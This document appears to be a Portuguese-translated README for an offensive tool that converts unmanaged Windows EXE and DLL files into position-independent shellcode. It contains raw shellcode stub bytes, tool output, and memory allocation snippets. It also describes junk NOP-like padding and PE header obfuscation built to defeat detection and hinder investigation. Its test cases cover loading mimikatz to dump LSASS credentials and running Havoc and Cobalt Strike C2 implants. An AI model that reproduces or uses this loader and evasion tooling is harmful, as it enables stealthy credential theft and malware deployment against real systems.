senzee1984/inflativeloadingDynamicamente converter um arquivo EXE ou DLL não gerenciado para shellcode PIC, adicionando um stub de shellcode no início.
Artigo: https://winslow1984.com/books/malware/page/reflectiveloading-and-inflativeloading
Nesta seção, são fornecidas as principais atualizações. As principais atualizações incluem suportes ou recursos adicionados.
Apenas alguns bytes no cabeçalho PE, como e_lfanew, RVA da Tabela de Importação, são essenciais para concluir o processo de carregamento. Portanto, outros bytes podem ser sobrescritos com bytes aleatórios para ocultar as assinaturas do cabeçalho PE.
Após a conclusão de todos os processos, até mesmo esses bytes serão sobrescritos para ofuscação completa. Por exemplo, a partir da captura de tela abaixo, podemos notar que o cabeçalho PE está majoritariamente ofuscado, mas e_lfanew permanece não ofuscado para fins de carregamento. Mas após o processo de carregamento, e_lfanew também é ofuscado.
No entanto, dependendo do programa selecionado, a ofuscação pode não ser compatível com ele. Você deve saber como o programa funciona. Por exemplo, o payload DLL sem estado do Havoc não é compatível com o recurso de ofuscação porque a DLL também faz uso do cabeçalho PE.
O payload EXE sem estado do Havoc funciona bem com ofuscação:```powershell PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havoc.exe havoc.bin [+] The file is an EXE file [+] Process PID: 26772 [+] PEB Address:000000E87CB1D000 [+] Image Base Address:00007FF7BB8A0000 [+] e_lfanew is 0x80 [+] Size Of The Image : 0x1e000 [+] Size Of Optional Header : 0xf0 [+] Size Of text Section : 0x18000 [+] Size of other sections of mapped .\havoc.exe is 0x5000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);
[+] 3 iterations are needed
[+] Data successfully written to havoc.bin. Total bytes read: 0x1e000 PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havoc.bin -e true -o true -b havocsc.bin
██╗███╗ ██╗███████╗██╗ █████╗ ████████╗██╗██╗ ██╗███████╗ ██║████╗ ██║██╔════╝██║ ██╔══██╗╚══██╔══╝██║██║ ██║██╔════╝ ██║██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║ ██║█████╗ ██║██║╚██╗██║██╔══╝ ██║ ██╔══██║ ██║ ██║╚██╗ ██╔╝██╔══╝ ██║██║ ╚████║██║ ███████╗██║ ██║ ██║ ██║ ╚████╔╝ ███████╗ ╚═╝╚═╝ ╚═══╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝
██╗ ██████╗ █████╗ ██████╗ ██╗███╗ ██╗ ██████╗
██║ ██╔═══██╗██╔══██╗██╔══██╗██║████╗ ██║██╔════╝
██║ ██║ ██║███████║██║ ██║██║██╔██╗ ██║██║ ███╗
██║ ██║ ██║██╔══██║██║ ██║██║██║╚██╗██║██║ ██║
███████╗╚██████╔╝██║ ██║██████╔╝██║██║ ╚████║╚██████╔╝
╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝
Author: Senzee Github Repository: https://github.com/senzee1984/InflativeLoading Twitter: senzee@1984 Website: https://winslow1984.com Description: Dynamically convert a native PE to PIC shellcode Attention: Bugs are expected, more support and improvements are coming!
[!] The offset to NT header is 0x80 [!] Depending on the program, obfuscation may not be compatible with it. Make sure you know how does the program work! [!] Dynamically generated instructions to obfuscate remained PE signatures: mov dword ptr [rbx+0x3c], 0x29f7945; mov dword ptr [rbx+0xa8], 0x99924859; mov dword ptr [rbx+0xb0], 0x99924859; mov dword ptr [rbx+0xb4], 0x1203885a; mov dword ptr [rbx+0xd0], 0xbc488d5f; mov dword ptr [rbx+0x110], 0xbc488d5f; mov dword ptr [rbx+0x114], 0x87287f91; mov dword ptr [rbx+0x130], 0xbc488d5f; mov dword ptr [rbx+0x134], 0xd44cc6bb; mov dword ptr [rbx+0x170], 0xbc488d5f; mov dword ptr [rbx+0x174], 0x8d976bd1;
[+] Shellcode Stub size: 957 bytes [+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes [!] Shellcoded PE's size: 126976 bytes
buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70" buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04" buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48" buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d" buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f" buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c" buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb" buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b" buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd" buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c" buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3" buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0" buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74" buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01" buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c" buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80" buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10" buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c" buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6" buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0" ......126576 more bytes......
Generated shellcode successfully saved in file havocsc.bin
[#] Shellcode located at address 0x1ae8ab70000
[!] PRESS TO EXECUTE SHELLCODED EXE...
### 4/11/2024 Substituir NOPs preenchidos por sequências de instruções semelhantes a NOP
Antes da atualização, instruções `0x90/NOP` são preenchidas após o stub real do shellcode para alinhar uma página de memória. Muitos NOPs poderiam ser um indicador de detecção, portanto, o script InflativeLoading seleciona dinamicamente sequências predefinidas de instruções semelhantes a NOP. Os usuários também podem adicionar novas ou substituir as existentes para obter melhor ofuscação.```python
nop_like_instructions = [
{"instruction": [0x90], "length": 1}, # NOP
{"instruction": [0x86, 0xdb], "length": 2}, # xchg bl, bl;
{"instruction": [0x66, 0x87, 0xf6], "length": 3}, # xchg si, si;
{"instruction": [0x48, 0x9c, 0x48, 0x93], "length": 4}, # xchg rax, rbx; xchg rbx, rax;
{"instruction": [0x66, 0x83, 0xc2, 0x00], "length": 4}, # add dx, 0
{"instruction": [0x48, 0xff, 0xc0, 0x48, 0xff, 0xc8], "length": 6}, # inc rax; dec rax;
{"instruction": [0x49, 0xf7, 0xd8, 0x49, 0xf7, 0xd8], "length": 6}, # neg r8; neg r8;
{"instruction": [0x48, 0x83, 0xc0, 0x01, 0x48, 0xff, 0xc8], "length": 7}, # add rax,0x1; dec rax;
{"instruction": [0x48, 0x83, 0xe9, 0x2, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc1], "length": 10}, # sub rcx, 2; inc rcx; inc rcx
]
Adicionei lógica adicional de shellcode para lidar com algumas exceções incomuns. Por exemplo, no payload DLL sem estado do CobaltStrike, algumas entradas de realocação base são inválidas porque o RVA da página é maior que o tamanho da imagem.
O tamanho da imagem é 0x58000.
No entanto, alguns RVAs são maiores que 0x58000.
Além disso, o shellcode sai graciosamente do programa após executar o shellcode convertido.
Agora o dumper pode exibir mais informações e fornecer sugestões para alocação de memória:```c // Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x1000, 0x5000, 0x3000, 0x20);
O stub do shellcode é fixado em `0x1000` bytes, o cabeçalho PE é fixado em `0x1000` bytes, e o tamanho da seção de texto e outras seções varia.
### 4/11/2024 Suporte adicionado para DLL não gerenciada
Após a atualização, DLLs não gerenciadas também podem ser convertidas em PIC shellcode. Casos de teste para DLLs personalizadas, payload DLL sem estágio do Havoc e payload DLL sem estágio do CobaltStrike foram aprovados.```powershell
PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havocdll.dll havocdll.bin
[+] The file is a DLL file
[+] Image base of mapped .\havocdll.dll is 0x1a730000
[+] e_lfanew of mapped .\havocdll.dll is 0x80
[+] imageSize of mapped .\havocdll.dll is 0x1e000
[+] Size of optinalHeader of mapped .\havocdll.dll is 0xf0
[+] Offset of section Header of mapped .\havocdll.dll is 0x188
[+] Size of text section of mapped .\havocdll.dll is 0x18000
[+] Size of other sections of mapped .\havocdll.dll is 0x5000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);
[+] Data successfully written to havocdll.bin
PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havocdll.bin -e true -o false -b havocdllsc.bin
██╗███╗ ██╗███████╗██╗ █████╗ ████████╗██╗██╗ ██╗███████╗
██║████╗ ██║██╔════╝██║ ██╔══██╗╚══██╔══╝██║██║ ██║██╔════╝
██║██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║ ██║█████╗
██║██║╚██╗██║██╔══╝ ██║ ██╔══██║ ██║ ██║╚██╗ ██╔╝██╔══╝
██║██║ ╚████║██║ ███████╗██║ ██║ ██║ ██║ ╚████╔╝ ███████╗
╚═╝╚═╝ ╚═══╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝
██╗ ██████╗ █████╗ ██████╗ ██╗███╗ ██╗ ██████╗
██║ ██╔═══██╗██╔══██╗██╔══██╗██║████╗ ██║██╔════╝
██║ ██║ ██║███████║██║ ██║██║██╔██╗ ██║██║ ███╗
██║ ██║ ██║██╔══██║██║ ██║██║██║╚██╗██║██║ ██║
███████╗╚██████╔╝██║ ██║██████╔╝██║██║ ╚████║╚██████╔╝
╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝
Author: Senzee
Github Repository: https://github.com/senzee1984/InflativeLoading
Twitter: senzee@1984
Website: https://winslow1984.com
Description: Dynamically convert a native PE to PIC shellcode
Attention: Bugs are expected, more support and improvements are coming!
[!] The offset to NT header is 0x80
[+] Shellcode Stub size: 850 bytes
[+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes
[!] Shellcoded PE's size: 126976 bytes
buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70"
buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04"
buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48"
buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d"
buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f"
buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c"
buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb"
buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b"
buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd"
buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c"
buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3"
buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0"
buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74"
buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01"
buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c"
buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80"
buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10"
buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c"
buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6"
buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0"
......126576 more bytes......
Generated shellcode successfully saved in file havocdllsc.bin
[#] Shellcode located at address 0x2108a9d0000
[!] PRESS TO EXECUTE SHELLCODED EXE...
Eu modifiquei ligeiramente o código que corrige a IAT, porque percebi que algumas linhas de código são desnecessárias. Após isso, o InflativeLoading pode executar alguns programas EXE empacotados com UPX, incluindo calc.exe, PsExec. No entanto, apenas alguns dos programas empacotados. Primeiramente, provavelmente não testarei todas as configurações de empacotamento possíveis para todos os programas testados. Pela segunda razão, por favor continue lendo:
Para programas que não possuem delayed import directory, o InflativeLoading pode executar versões empacotadas com UPX deles. No entanto, ao contrário de programas desempacotados, programas empacotados têm toda a ILT vazia.
Tome o calc.exe normal como exemplo, ILT e IAT são idênticos para todos os módulos.
Mas para o calc.exe empacotado com UPX, a ILT está vazia para todas as entradas no Diretório de Importação.
Mas se o programa possui delayed import directory, como o Mimikatz, fica mais complexo.
Para o mimikatz.exe normal, o delayed import directory é o seguinte:
Mas para o mimikatz.exe empacotado com UPX, o PE Bear não consegue analisá-lo, nem eu.
Abaixo está um caso de teste bem-sucedido para o calc.exe empacotado com UPX.
Um dos meus objetivos é converter um exe em shellcode. Dessa forma, algumas ferramentas de segurança como o Mimikatz podem ser usadas com mais flexibilidade. Embora algumas ferramentas como o Donut já tenham alcançado isso, ainda quero criar essa ferramenta com minha abordagem e, espero, que ela possa trazer algumas melhorias.
Motivado e inspirado por algumas ferramentas e técnicas clássicas e modernas, o InflativeLoading é uma ferramenta que pode converter dinamicamente um EXE/DLL não gerenciado em shellcode PIC.
Em resumo, o InflativeLoading gera e anexa um stub de shellcode ao início do módulo principal PE despejado.
A ferramenta consiste em DumpPEFromMemory.exe e InflativeLoading.py.
Os dois componentes a seguir são necessários para converter um arquivo PE não gerenciado em shellcode.
O DumpPEFromMemory.exe é usado para obter a versão em memória do arquivo PE selecionado.
Para programas EXE, ele funciona criando um processo em estado suspenso e despejando o módulo principal em um arquivo binário (na sua máquina de desenvolvimento). Por quê? Um processo típico de carregamento reflexivo mapeia cada seção de um arquivo PE para uma região de memória recém-alocada. A respeito disso, tenho duas preocupações: Primeiramente, embora os dados de cada seção sejam fundamentalmente consistentes, quer estejam no disco ou na memória, ainda podem existir certas diferenças para arquivos PE específicos ou sob circunstâncias específicas.```c
// Code snippet from Maldev course
for (int i = 0; i < pPeHdrs->pImgNtHdrs->FileHeader.NumberOfSections; i++) {
memcpy(
(PVOID)(pPeBaseAddress + pPeHdrs->pImgSecHdr[i].VirtualAddress), // Distination: pPeBaseAddress + RVA
(PVOID)(pPeHdrs->pFileBuffer + pPeHdrs->pImgSecHdr[i].PointerToRawData), // Source: pPeHdrs->pFileBuffer + RVA
pPeHdrs->pImgSecHdr[i].SizeOfRawData // Size
);
}
Para arquivos `DLL`, o DumPEFromMemory cria um mapeamento de arquivo e mapeia uma visão do arquivo sem executar DllMain().
Em segundo lugar, o conteúdo do arquivo PE já existe na memória do carregador (como um array de bytes), mas o carregador aloca espaço de memória novamente. A execução do DumpPEFromMemory é concluída na máquina de desenvolvimento do operador. O operador obtém um despejo do arquivo PE quando ele está carregado na memória. Embora alguns dados ainda precisem de atualizações, alocar uma região de memória na máquina da vítima é desnecessário.
Desta forma, em vez de mapear manualmente um arquivo, precisamos apenas corrigir regiões de dados específicas como `Import Directory`, `Base Relocation Table Directory`, `Delayed Load Import Descriptors Directory`, etc.
O módulo principal despejado será salvo como um arquivo binário para anexar ao stub do shellcode.
Por exemplo, o DumpPEFromMemory executa uma ferramenta clássica mimikatz e despeja seu módulo principal em um arquivo binário.```powershell
PS C:\dev\inflativeloading> .\DumpPEFromMemory.exe .\mimikatz.exe mimikatz.bin
[+] The file is an EXE file
[+] Process PID: 23052
[+] PEB Address:00000000004A5000
[+] Image Base Address:00007FF730E00000
[+] e_lfanew is 0x120
[+] Size Of The Image : 0x137000
[+] Size Of Optional Header : 0xf0
[+] Size Of text Section : 0xc5000
[+] Size of other sections of mapped .\mimikatz.exe is 0x71000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0xc5000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0xc5000, 0x71000, 0x3000, 0x20);
[+] 29 iterations are needed
[+] Data successfully written to mimikatz.bin. Total bytes read: 0x137000
E despeje o payload da DLL do Havoc da memória:```powershell PS C:\dev\inflativeloading> .\DumpPEFromMemory.exe .\havocdll.dll havocdll.bin [+] The file is a DLL file [+] Image base of mapped .\havocdll.dll is 0x87fd0000 [+] e_lfanew of mapped .\havocdll.dll is 0x80 [+] imageSize of mapped .\havocdll.dll is 0x1e000 [+] Size of optinalHeader of mapped .\havocdll.dll is 0xf0 [+] Offset of section Header of mapped .\havocdll.dll is 0x188 [+] Size of text section of mapped .\havocdll.dll is 0x18000 [+] Size of other sections of mapped .\havocdll.dll is 0x5000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);
[+] Data successfully written to havocdll.bin
### InflativeLoading Script
O script gera dinamicamente um stub de shellcode e o anexa no início do arquivo de dump.
O shellcode realiza as seguintes tarefas:
1. Percorrer a PEB e encontrar kernel32.dll
2. Atualizar a linha de comando
3. Analisar kernel32.dll para obter os endereços das funções LoadLibraryA e GetProcAddress
4. Localizar o arquivo de dump anexado usando um offset
5. Corrigir dinamicamente o Diretório de Importação (Import Directory), o Diretório da Tabela de Realocação Base (Base Relocation Table Directory), o Diretório de Descritores de Importação com Carga Tardia (Delayed Load Import Descriptors Directory), etc.
6. Opção de ofuscar o cabeçalho PE
7. Transferir a execução para o ponto de entrada do arquivo PE.
8. Sair graciosamente
Por exemplo, use o script para ler o mimikatz previamente extraído e fornecer a linha de comando adequada para despejar credenciais no LSASS:
Embora o stub de shellcode normalmente tenha menos de 1000 bytes, o script ainda o preenche para 4096 bytes para alinhamento com o limite da página de memória. Assim, o operador pode facilmente definir as permissões de página apropriadas para diferentes regiões de memória. O dumper sugere a alocação de memória:```powershell
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0xc5000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0xc5000, 0x71000, 0x3000, 0x20);
Acredito que você já passou pelos dois componentes do InflativeLoading, em resumo:
Melhores Casos de Uso e Problemas ou Limitações Conhecidos para obter informações sobre como selecionar arquivos PE.Porque o InflativeLoading está em estágio inicial, nem todo executável é bem suportado. DLL não gerenciada é bem suportada; a execução da função de exportação está chegando na próxima atualização!
✅ Programa de console nativo que não depende de argumentos, como implante C2 sem estágio, programa de console personalizado simples.
✅ Programa de console nativo com console/shell interativo, como Mimikatz.
✅ DLL não gerenciada
✔️ Nenhuma função de exportação específica é necessária, tornando-o mais amigável para arquivos PE cujo código-fonte e compilação não são facilmente acessíveis
✔️ Evita resultados não intencionais devido a diferenças entre o arquivo PE no disco e na memória em certos casos
✔️ Elimina a necessidade de conversão entre o deslocamento original do arquivo e RVA
✔️ Evita alocação adicional de espaço de memória
✔️ Evita regiões de memória RWX.
✔️ Mesmo para regiões de memória RX, não começa com a característica MZ, aumentando a dificuldade de investigação.
☑️ Suporte para EXE nativo normal
☑️ Suporte para DLL não gerenciada
☑️ Suporte para EXE/DLL que possui Diretório de Importação Atrasada (Delayed Import Directory)
☑️ Corrigir Tabela de Endereços de Importação (IAT)
☑️ Corrigir Diretório de Realocação Base
☑️ Testes passados com programas clássicos como calc, mimikatz, PsExec, etc.
☑️ Testes passados com payload C2 clássico, como payload DLL/EXE sem estágio do CobaltStrike e Havoc.
☑️ Suporte parcial para programas empacotados.
⚠️ Alguns dos seguintes problemas podem ser corrigidos no futuro, enquanto alguns permanecem fora do escopo devido à sua natureza.
A linha de comando fornecida nem sempre funciona corretamente. É uma área principal na qual vou me concentrar.
Não funciona bem para programas GUI, como mspaint.exe. Mas calc.exe funciona bem.
Não funciona para todos os programas empacotados. Alguns dos programas empacotados podem ser executados bem, é caso a caso.
Não funciona para programas que requerem outras dependências, como DLLs personalizadas.
Suporta apenas x64, e não planejo adicionar suporte para programas x86.
Se você encontrar qualquer um dos problemas ou limitações acima, a execução do shellcode pode falhar, o programa convertido pode não identificar corretamente a linha de comando, ou pode não haver resposta.
Por exemplo, PsExec.exe pode ser convertido para shellcode PIC, no entanto, a linha de comando fornecida pelo usuário não pode ser identificada corretamente.```cmd C:\Users<...SNIP>>python InflativeLoading.py -b psexec.bin -c "-s -i powershell" -e true -o psexec_merged.bin
<...SNIP...>
Generated shellcode successfully saved in file psexec_merged.bin
[#] Shellcode located at address 0x27159360000
[!] PRESS TO EXECUTE SHELLCODED EXE...
Python Console v3.12.2 - Python Copyright 2001-2023 Python Software Foundation. Copyright 2000 BeOpen.com. Copyright 1995-2001 CNRI. Copyright 1991-1995 SMC. Python Software Foundation
Couldn't install PSEXESVC service: The specified resource type cannot be found in the image file.
## Casos de Teste
| Programa | FORMATO | Tem GUI? | Argumentos Fornecidos?| Execução Bem-sucedida | Executa Corretamente c/ Argumentos |
| ----------- | ----------- | ----------- |----------- | ----------- |----------- |
| Programas C/C++ personalizados simples | EXE |Não | Não |:heavy_check_mark: | N/A |
| DLL personalizada simples | DLL |Não | Não |:heavy_check_mark: | N/A |
| Payload EXE Havoc e CobaltStrike | EXE |Não | Não |:heavy_check_mark: | N/A |
| Payload DLL Havoc e CobaltStrike | DLL |Não | Não |:heavy_check_mark: | N/A |
| calc.exe | EXE | Sim | Não |:heavy_check_mark: |N/A |
| mimikatz.exe | EXE | Não | Sim |:heavy_check_mark: |:heavy_check_mark: |
| PsExec | EXE | Não |Sim |:heavy_check_mark: |:no_entry_sign:|
| mspaint.exe | EXE | Sim |Não | :no_entry_sign: |N/A|
| Programas Empacotados | EXE | Não |Não | Parcial|N/A|
Versões extraídas de calc.exe e mimikatz.exe podem ser encontradas na pasta `bin/` do repositório.
## Melhorias Futuras
:bell: As seguintes funcionalidades e melhorias são esperadas no futuro.
+ Um loader separado para programas .NET.
+ Adicionar suporte para funções de exportação de DLL.
+ Adicionar suporte para mais programas empacotados.
+ Melhorar o código porcaria : )
## Agradecimentos e Referências
Os seguintes recursos me inspiraram muito durante minha pesquisa e desenvolvimento:
<https://github.com/TheWover/donut>
<https://github.com/d35ha/PE2Shellcode>
<https://github.com/hasherezade/pe_to_shellcode>
<https://github.com/monoxgas/sRDI>
<https://github.com/stephenfewer/ReflectiveDLLInjection>
<https://securityintelligence.com/x-force/defining-cobalt-strike-reflective-loader/>
<https://maldevacademy.com/>